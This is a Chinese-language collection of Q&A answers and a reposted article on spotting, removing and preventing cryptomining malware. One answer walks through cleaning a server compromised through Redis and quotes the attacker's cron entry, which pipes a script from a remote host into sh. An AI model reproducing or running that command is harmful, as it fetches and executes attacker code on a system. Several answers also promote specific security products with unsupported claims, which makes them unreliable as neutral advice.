避免電腦被挖礦
❶ 如何防止自己的電腦被挖坑機利用
1裝防毒軟體 如 火絨 安全軟體
2被挖礦了 可以重裝系統解決
❷ 如何查看電腦是否被植入了挖礦程序
如何判斷自己的電腦是否被挖礦,怎樣預防?
電腦開機後,所有程序都不打開的情況下。按Ctrl+ALT+Del調出任務管理器,在「進程」卡項中,查看CPU的使用情況。如果看到某個進程佔用了大量的cpu使用情況,並且幾分鍾後都沒有降低的趨勢,這個程序就可能是病毒了。
想要預防自己的電腦被挖礦也很簡單,只要安裝正規的安全軟體,使用安全的瀏覽器,添加安全合適的插件,就可以防止電腦被挖礦了。
當然,如果不瀏覽不正規不健康的網站,不下載盜版游戲,盜版軟體等就更能從根源杜絕電腦被不法分子挖礦的風險。
❸ 電腦被挖礦了怎麼解決
用殺毒軟體在安全模式解決 想徹底解決還是用Pe重裝系統清除挖礦
❹ 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
❺ 電腦怎樣做才能防止植入挖礦程序呢
也不難的,安裝了騰訊電腦管家已全面攔截這批包含挖礦程序的網站,還有就是不要隨意打開來歷不明的網址,同時保持安全軟體的開啟狀態,及時攔截危險網頁的惡意行為。據說以色情網站為首的數百個網站被植入挖礦程序,一旦點擊訪問,電腦將會被佔用大量資源「幫助」不法分子挖掘門羅畢等虛擬貨幣,
❻ 小心!你的電腦可能在幫別人挖礦
卡巴斯基實驗室(Kaspersky Lab)數據顯示,去年全年被挖礦病毒(CryptoVirus)入侵的計算機和移動設備的數量增加了44.5%。
黑客不再藉助加密病毒來勒索錢財——他們只是在你的電腦上植入了一種病毒,瞞天過海。這種加密病毒就是挖礦病毒。它們將對你的設備造成什麼傷害?怎樣才能甩掉它們?
什麼是挖礦病毒?
挖礦病毒簡言之就是一段代碼或一個軟體,可在用戶的個人電腦或智能手機上悄悄運行挖礦程序。攻擊者可以利用不知情的受害者的計算機來挖掘加密貨幣。
最常用的挖礦病毒用於獲取Monero或ZCash。 還有很多專門用於挖掘小型山寨幣的應用程序,因為比起挖比特幣而言,挖一些小型山寨幣用個人電腦更有效率。此外,這些病毒甚至可以在Android操作系統上運行。也有黑客使用NiceHash和MinerGate的案例。
通常情況下,挖礦病毒的開發者不僅僅局限於在基於CPU或顯卡進行挖掘,他們還用各種間諜軟體功能來補足他們的病毒程序。 例如,有些挖礦病毒可以竊取加密錢包文件、社交網路的數據或信用卡數據。 此外,在這種攻擊之後,你的電腦將變得非常脆弱且不安全。
挖礦病毒如何工作?
工作原理非常簡單。該程序執行一個隱藏的挖礦啟動操作,並將該電腦/手機設備連接到一個礦池。這些操作會嚴重佔用設備的處理器,為欺詐者獲取未經授權的「免費」計算能力,欺詐者直接將「免費算力」掙來的加密貨幣放入自己的錢包。
(任務管理器中的隱藏挖礦進程)
礦池是創建此類「僵屍網路」的理想方式, 因為大多數礦池支持無限數量的用戶連接到相同的地址,而他們的所有權關系不需要證明。在連接到數百台計算機之後,黑客就可以享受相當不錯的收入,並使用大礦場的服務。
挖礦病毒如何傳播以及如何檢測?
通常,挖礦病毒通過以下方式進入計算機:
1. 從互聯網下載文件
黑客們找到許多方法來發布他們的程序並將其嵌入一些可疑的網站。種子(Torrents)是病毒傳播的一種常見方式。
2. 與被病毒入侵的設備物理接觸
比如其他人的快閃記憶體驅動器和其他硬體存儲設備被挖礦病毒入侵後,接入了你的設備中。
3. 未經授權的遠程訪問
經典的遠程黑客攻擊也是通過這種方式進行的。
4. 還有很多人會通過「感染」整個辦公室的電腦來試圖在工作中使用隱藏挖礦軟體
某些情況下,黑客還會通過Telegram傳播他們的軟體。也許你以為下載了100%安全的軟體( 游戲 、補丁、工具等),但在更新過程中還是有可能會被入侵。
挖礦病毒的「隱匿」途徑
有時,幾乎不可能檢測到挖礦病毒,隱藏挖礦病毒有三種常見方法:
1. 病毒作為一種服務
在這種情況下,你不會看到任何單獨的進程任務管理器。一些svchost.exe將使用系統資源,但卻是絕對合法的系統進程。如果你停用它們,很可能你的電腦就會停止工作。
在這種情況下該怎麼辦? 可以通過msconfig.exe搜索名稱可疑的服務,但還有一種更有效的方法–使用Process Explorer免費軟體。
2. 適度消耗,緩慢開采
在這種情況下,該病毒軟體並非設計用於快速加密貨幣挖掘,而是用於確保挖礦病毒的最長生存期。這樣的軟體不會吞噬所有可用的系統資源,而是會適度地消耗它們。
同時,如果啟動了一些佔用大量資源的程序,該病毒將停止運行,以免降低操作系統的速度並使檢測復雜化。先進的挖礦病毒甚至監視風扇速度(fan speed),以免由於過度使用計算能力而導致系統過載。由於某些病毒在任務管理器被打開時停止工作,因此不太可能以這種方式檢測到它們。
3. 內核型(Rootkit)挖礦病毒是最復雜的惡意軟體類型
任務管理器和最有效的防病毒軟體都無法檢測到這種類型的挖礦病毒。那麼如何發現呢?關鍵是,這類病毒必須與礦池保持持續聯系。如果處於空閑模式,普通計算機實際上是無法訪問互聯網的。當你注意到你的電腦自己連網了,可能是被挖礦病毒入侵了。這時候你可以向專家求助。
如何刪除挖礦病毒?
您可以很容易地檢測到一個簡單的挖礦病毒:打開任務管理器,找到任何使用超過20%的CPU功率的任務,很可能就是一個「隱藏的礦工」。你所要做的就是結束該任務進程。
如果你認為你的電腦被惡意軟體污染了,你應該用最新版本的加密病毒掃描器進行掃描,如Reimage或SpyHunter 5。這樣的工具一般可以立即檢測並清除挖礦病毒。此外,專家建議使用Dr. Web、CureIT和Malwarebytes的反惡意軟體解決方案。
(MalwareBytes方案)
一定要常常檢查系統,注意電腦運行速度的變化。如果你的電腦上有一個比特幣病毒,你可以順便看看有沒有其他附帶病毒——消除它們,以防止敏感信息丟失。
如何預防挖礦病毒?
同時採取以下幾項措施將有效預防挖礦病毒的入侵:
· 安裝並定期更新殺毒軟體,時不時檢查系統中可疑的程序;
· 讓操作系統保持最新;
· 注意下載和安裝的東西。病毒通常隱藏在被黑的軟體中,免費軟體往往是「重災區」;
· 不要訪問沒有SSL證書的網站;
· 嘗試一些特定的軟體。有一些插件可以非常有效地保護你的瀏覽器不受隱藏挖礦的影響,比如MinerBlock、反webminer和Adblock Plus等等;
· 定期備份。如果你的設備意外感染了挖礦病毒,您可以通過將系統回滾到最新的「 健康 」版本來消除它。
總之,和其他惡意軟體一樣,當用戶的電腦沒有採取足夠的安全措施時,挖礦病毒就會入侵。時常注意下載的文件、訪問的網站和使用的設備。如果注意到電腦性能嚴重下降,就要看看是不是有人在偷偷用你的電腦挖礦了。
本文轉載自:頭等倉區塊鏈研究院
作者:頭等倉(First.VIP)_Maggie
❼ 如何防禦挖礦木馬,保證我的電腦安全呢
4試騰訊電腦管家查殺,第二代引擎--鷹眼殺毒引擎
,大大減少了佔用的系統空間,而且支持雲查殺、木馬的查殺。比較全面、徹底。
打開電腦管家/閃電殺毒/全盤掃描/完成。殺毒後重啟電腦,因為很多病毒要重啟電腦之後才能清除干凈。
中毒後,電腦經常會出現無法正常開機的情況下,重啟電腦的時候,一直按著按F8不放,進入高級選項,然後從網路安全模式進入電腦系統。開機後的第一件事就是馬上進行殺毒處理。
❽ 如何避免百度網盤拿電腦挖礦
在設置中杜絕這個情況。
你可以打開自己的網路網盤客戶端,在設置-傳輸頁面中點擊「高級設置」按鈕,就會看到一項「用戶激勵計劃」,默認勾選開啟。將其關閉後網路網盤就不可以在不告知的情況利用你的電腦進行挖礦了。
❾ 如何預防ZombieboyMiner挖礦木馬侵擾電腦
【平時就應該保護好我們的電腦,給一些建議】
1、安裝殺毒軟體還是必要的,要及時更新病毒庫,還要裝防火牆(防木馬、黑客攻擊等),定期殺毒,維護好電腦運行安全;
推薦樓主可以安裝騰訊電腦管家,它是免費專業安全軟體,殺毒管理二合一(只需要下載一份),占內存小,殺毒好,防護好,無誤報誤殺。擁有雲查殺引擎、反病毒引擎、金山雲查殺引擎、AVIRA查殺引擎、小紅傘和查殺修復引擎等世界一流殺毒軟體內嵌殺毒引擎!
其中軟體升級、漏洞修復、垃圾清理,都有自動和定期設置,懶人必備
2、修復漏洞和補丁;打開騰訊電腦管家——工具箱——漏洞修復
3、平時不要上一些不明網站,不要隨便下載東西;
4、還要提防隨身移動存儲設備(如U盤等,最近U盤病毒挺猖獗的);
5、不進不明不網站,不收奇怪郵件。下載完壓縮包文件後先進行病毒掃描
6、關閉不必要的埠
7、要是有時間和精力的話,學一些電腦的常用技巧和知識;
最後,我要說的是,你要是平常的確是很小心,但還是中毒的話,那也是沒辦法的!(用Ghost備份系統是個不錯的選擇)